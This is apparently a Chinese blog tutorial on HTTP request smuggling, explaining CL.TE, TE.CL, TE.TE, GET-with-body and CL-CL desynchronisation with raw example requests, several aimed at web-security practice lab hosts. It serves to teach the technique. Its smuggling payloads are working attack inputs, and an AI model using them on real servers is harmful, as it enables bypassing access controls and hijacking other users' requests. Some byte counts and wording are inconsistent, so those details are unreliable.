HTTP请求走私!!!(一)

想都是问题,做才是答案

什么是请求走私?

HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户。

 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户将请求发送到 前端服务器(有时称为负载平衡器或反向代理),此服务器将请求转发到一个或多个后端服务器。  

当前端服务器将 HTTP 请求转发到后端服务器时,它通常会通过同一后端网络发送多个请求 连接,因为这更加高效和高性能。

在这种情况下,前端和后端系统必须就请求之间的边界达成一致。否则,一个 攻击者或许能够发送一个模棱两可的请求,该请求的前端和后端系统会以不同的方式解释: 

 在这里,攻击者导致后端服务器将其前端请求的一部分解释为下一个请求的开始。是的 有效地预置到下一个请求之前,因此可能会干扰应用程序处理该请求的方式。这是一个请求 走私攻击,它可能会产生毁灭性的后果。

 请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length 和 Transfer-Encoding标头。

 keep-Alive Pipeline

Keep-Alive:告诉服务器,接受完这次HTTP请求后,不要关闭TCP链接,厚民对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手,可减少服务器开销,节约资源,还能加快访问速度,在HTTP1.1中默认开启。

Pipeline:在这里,客户端可以像流水线一样发送HTTP请求,不需要等待服务器的响应,服务器那边收到请求后,需要遵循先入后出的机制,警请求和响应对应起来,在响应到客户端。

浏览器默认不启用Pipeline,但一般浏览器都提供对Pipleline的支持。

CL TE 

CL和TE即Content-Length 和 Transfer-Encoding 请求头

Content-Length头以字节为单位指定消息正文的长度

POST / HTTP/1.1
Host: cjg52xws.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Basic emthcTp6a2Fx
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46{"token":"8e5c99732ec2a7b1b524936a2cfc1992"}

Transfer-Encoding头一般指定邮件正文使用分块编码,例如

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunkedb
q=smuggling
0

每个块之间以换行符分割开,直到块大小为0字节时视为正文的结束,就是因为这两种不同的方法来指定HTTP消息的长度,就导致如果同时使用这两个头会造成冲突,HTTP规范中规定,如果两个头同时存在则忽略Content-Length头,此时如果出现一下两种情况:

一些服务器不支持Transfer-Encoding头,如果对头做了混淆处理则有些服务器虽然支持Transfer-Encoding头也不会处理它

当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。如下面这个例子(另外要注意\r\n占2字节):

POST / HTTP/1.1\r\nHost: http://1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

执行HTTP请求走私 

CL.TE漏洞:

首先请求包中需要同时包含CL头(Content-Length)和TE头(Transfer-Encoding)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked0SMUGGLED

CL头设置的是13,即从正问呢开始算包含13个字节的内容为止算是一个请求包,但是当这个请求包发到后端服务器时会采用TE头来处理请求包,此时会因为0的下一行是空行而认为此请求包已经结束了,那么多出来的内容会杯认为是下一个请求包的开始,此时则会产生HTTP请求走私攻击

 例:

POST / HTTP/2
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 8
Transfer-Encoding: chunked0G

CL头的值为6,就是包含三行共六个字节(包括换行符),TE头指定了使用分块编码,发送两次请求包,成功因为前后端处理方式不同而导致HTTP走私攻击

TE.CL漏洞 

这一种就是前端服务器使用TE头处理,而后端服务器使用CL头处理

 

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked8
SMUGGLED
0

 

原理就是前端服务器通过使用TE头指定的分块编码来分割处理请求包,既然是分块编码,就得指定每个分块的大小,就如上述代码所示,第一个分块大小为8字节长,第二个分块大小为0,分块编码会一直读取直到分块大小为0,所以以上的请求包会被前端当成一个请求包转发到后端服务器,但是到了后端服务器会因为CL头指定的长度仅包括了8及后面的CLRF字符而将这个请求包分割成两个处理,这就导致了HTTP请求走私漏洞。

通俗的说后端的cl会识别请求cl中的3,所以后端认为这个请求的内容是\r\n8,而后面的则会被当成第二个请求。

例:

POST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 4
Transfer-Encoding: chunked5a
GPOST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 15x=1
0

注意0后面要有2个空行,然后就也会因为前后端对HTTP请求方式不同而导致HTTP走私攻击。 

TE.TE漏洞:混淆TE头

前后端都支持TE头,但是可以通过某种混淆手段让某一端不处理TE头。

Transfer-Encoding: chunked
Transfer-Encoding: x

 例:

POST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: cow5a
GPOST / HTTP/1.1
Host: 0ad000cc044389e28092713400c300d4.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: aplication/x-www-urlencoded
Content-Length: 15x=1
0

我们可以看到请求了两个Transfer-Encoding,其中一个是混淆的,所以就会导致在后端的时候不使用TE头来处理此时会转而采用CL头处理,从而将一个HTTP请求拆分成两个,导致HTTP走私攻击。

CL不为0的GET请求

GET / HTTP/1.1
Host: test.com
Content-Length: 42GET / flag HTTP/1.1
Host: test.com

当前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体时,发送这段请求,服务器因为cl不允许携带请求体,而会把这段请求分成2段请求。

CL-CL

当前后端都接受GET请求中有内容,且不报错时,根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞

POST / HTTP/1.1
Host: example.com
Content-Length: 8
Content-Length: 7
12345
a

前端服务器按照第一个Content-Length的值对请求进行为数据包定界,后端服务器则按照第二个Content-Length的值进行处理。这就导致了后台在接收到这段数据时,根据Content-length认为请求包到12345就结束了,把剩下的a作为下一个未请求完成请求包的一部分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/775223.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大语言模型(LLM)token解读

1. 什么是token? 人们经常在谈论大模型时候,经常会谈到模型很大,我们也常常会看到一种说法: 参数会让我们了解神经网络的结构有多复杂,而token的大小会让我们知道有多少数据用于训练参数。 什么是token?比…

Hadoop+Spark大数据技术 第三次作业

第三次作业 1.简述HDFS Shell三种操作命令hadoop fs、hadoop dfs、hdfs dfs的异同点。 相同点 用于与 Hadoop 分布式文件系统(HDFS)交互。可以执行各种文件系统操作,如文件复制、删除、移动等。 不同点 hadoop fs、hadoop dfs已弃用&#xf…

使用vue构建一个简单实用的春节红包插件!

摘要:本文将介绍如何使用Vue.js构建一个简单实用的春节红包插件。该插件通过模拟红包的打开和关闭过程,以及金额的随机分配,为春节红包活动提供了一个有趣且互动的体验。 一、引言 在春节这个充满欢乐和祝福的时刻,红包成为了传递…

node.js项目初始化操作

项目环境Vscode 1.新建一个文件夹node.js(xx.js) 2.右键点击node.js,点击打开终端 我在VScode打开终端 输入npm init初始化项目没反应。 解决方法:进入文件夹node.js,出入cmd跳转到终端 重新输入npm init命令 正确结果如下图 后续命令按下…

【Leetcode】2580. 统计将重叠区间合并成组的方案数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接🔗 给你一个二维整数数组 ranges ,其中 ranges[i] [starti, endi] 表示 starti 到 endi 之间(包括二者)的所有整数都包含在第 i 个区间中。 你需要…

Tunes不能读取iPhone的内容,请前往iPhone偏好设置的摘要选项卡,然后单击恢复以将此iPhone恢复为出厂设置

重启itunes: 参考链接: https://baijiahao.baidu.com/s?id1642568736254330322&wfrspider&forpc 人工智能学习网站: https://chat.xutongbao.top

插值表达式、Vue指令、指令补充

vue上手步骤 <body><!-- vue2语法 --><!-- 1.准备容器&#xff1a;一会vue就会把数据展示到这里 --><div id"app"><!-- 4.使用{{ }}即可显示数据 &#xff0c;{{}}就是插值表达式--><p>姓名&#xff1a;{{uname}}</p><…

开源AI引擎|企业合同管理:自然语言处理与OCR技术深度融合

一、企业应用&#xff1a;合同智能管理 结合NLP和OCR技术&#xff0c;企业可以构建智能化的合同管理系统&#xff0c;实现合同的自动化审查、风险评估和知识抽取。这样的系统不仅能够提高合同处理的效率&#xff0c;还能够降低人为错误&#xff0c;加强风险控制。 例如&#x…

vue3+threejs新手从零开发卡牌游戏(十八):己方场上手牌添加画线

手牌上场后&#xff0c;点击己方怪兽区卡牌会跟随鼠标移动画出线条&#xff0c;之后可以通过判断鼠标移动到对方场地的某卡牌进行战斗操作&#xff0c;代码主要改动在game/index.vue文件。 1.添加鼠标移动监听事件&#xff08;移动端&#xff09;&#xff1a; window.addEven…

相册清理大师-手机重复照片整理、垃圾清理软件

相册清理大师是一款超级简单实用的照片视频整理工具。通过便捷的操作手势&#xff0c;帮助你极速整理相册中的照片和视频、释放手机存储空间。 【功能简介】 向上滑动&#xff1a;删除不要的照片 向左滑动&#xff1a;切换下一张照片 向右滑动&#xff1a;返回上一张照片 整理分…

excel使用技巧-自动计算过滤后的数据(=SUBTOTAL(109,B2:B110))

语法&#xff1a;SUBTOTAL(function_num,ref1,ref2, …) Function_num 为 1 到 11&#xff08;包含隐藏值&#xff09;或 101 到 111&#xff08;忽略隐藏值&#xff09;之间的数字&#xff0c;指定使用何种函数在列表中进行分类汇总计算。对应的含义如下面表格所示&#xff1…

Java常用的API

跟着黑马的Java学习视频学者本篇常用的API Math public static int abs(int a) {return (a < 0) ? -a : a; }public static double ceil(double a) {return StrictMath.ceil(a); }public static double floor(double a) {return StrictMath.floor(a); }public static doub…

学习JavaEE的日子 Day29 yield,join,线程的中断,守护线程,线程局部变量共享,线程生命周期

Day29 多线程 12. 线程的礼让 Thread.yield(); 理解&#xff1a;此方法为静态方法&#xff0c;此方法写在哪个线程中&#xff0c;哪个线程就礼让 注意&#xff1a;所谓的礼让是指当前线程退出CPU资源&#xff0c;并转到就绪状态&#xff0c;接着再抢 需求&#xff1a;创建两个…

Kimi和ChatGPT做古诗词阅读理解,谁更胜一筹?

前几天发过一篇Kimi整理会议的体验教程&#xff0c;没想到大家很感兴趣&#xff0c;这次再来拿Kimi做古诗词阅读理解看看&#xff0c;同时也对比下ChatGPT的效果。 ChatGPT是几乎家喻户晓的AI大模型&#xff0c;Kimi和它对比有哪些异同点呢&#xff1f; 首先它们都是基于对话…

【Flink架构】关于FLink BLOB的组织架构:FLIP-19: Improved BLOB storage architecture:官网解读

文章目录 一. BlobServer架构1.BlobClient2. BlobServer3. BlobCache4. LibraryCacheManager 二、BLOB的生命周期1. 分阶段清理2. BlobCache的生命周期3. BlobServer 三、文件上下载流程1. BlobCache 下载2. BlobServer 上传3. BlobServer 下载 四. Flink中支持的BLOB文件类型1…

uniapp流浪动物救助小程序Java宠物领养小程序springboot

uniapp流浪动物救助小程序Java宠物领养小程序springboot 代码40块&#xff0c;需要的私聊 前台基于uniapp小程序 后台管理基于springbootvue前后端分离项目 开发语言&#xff1a;Java 框架&#xff1a;springboot vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xf…

VTK 示例 基本的流程-事件交互、球体、

流程可以总结如下&#xff1a; 导入所需的头文件&#xff1a; 首先&#xff0c;导入了一系列 VTK 头文件&#xff0c;这些文件包含了所需的类和函数声明。 创建对象&#xff1a; 创建了两个球体&#xff08;一个较大&#xff0c;一个较小&#xff09;&#xff0c;一个平面&…

FANUC机器人KAREL语言程序结构(入门)

一、karel语言程序结构 FANUC机器人keral语言编程结构如下图所示&#xff1a; Keral指令对应的基础用法如下所示&#xff1a; 二、创建一个简单的写屏程序 依照对应的karel语法写写入下列程序 运行对应的程序进行测试&#xff1a;

南网科研院携手百度智能云,入选信通院AI原生应用优秀案例

为呈现AI原生研发和应用成效&#xff0c;提供AI原生相关技术、服务、部署、运营、基础设施等选型参考&#xff0c;近期&#xff0c;中国信息通信研究院发布了AI原生技术及应用优秀案例&#xff0c;由南方电网公司输配电部牵头、南方电网科学研究院有限责任公司&#xff08;以下…

Web安全攻防世界01 fileinclude(宜兴网信办)

<html> <head><meta http-equiv"Content-Type" content"text/html; charsetutf-8" /></head> //规定 HTML 文档的字符集<br /> <b>Notice</b>: Undefined index: language in <b>/var/www/html/index.ph…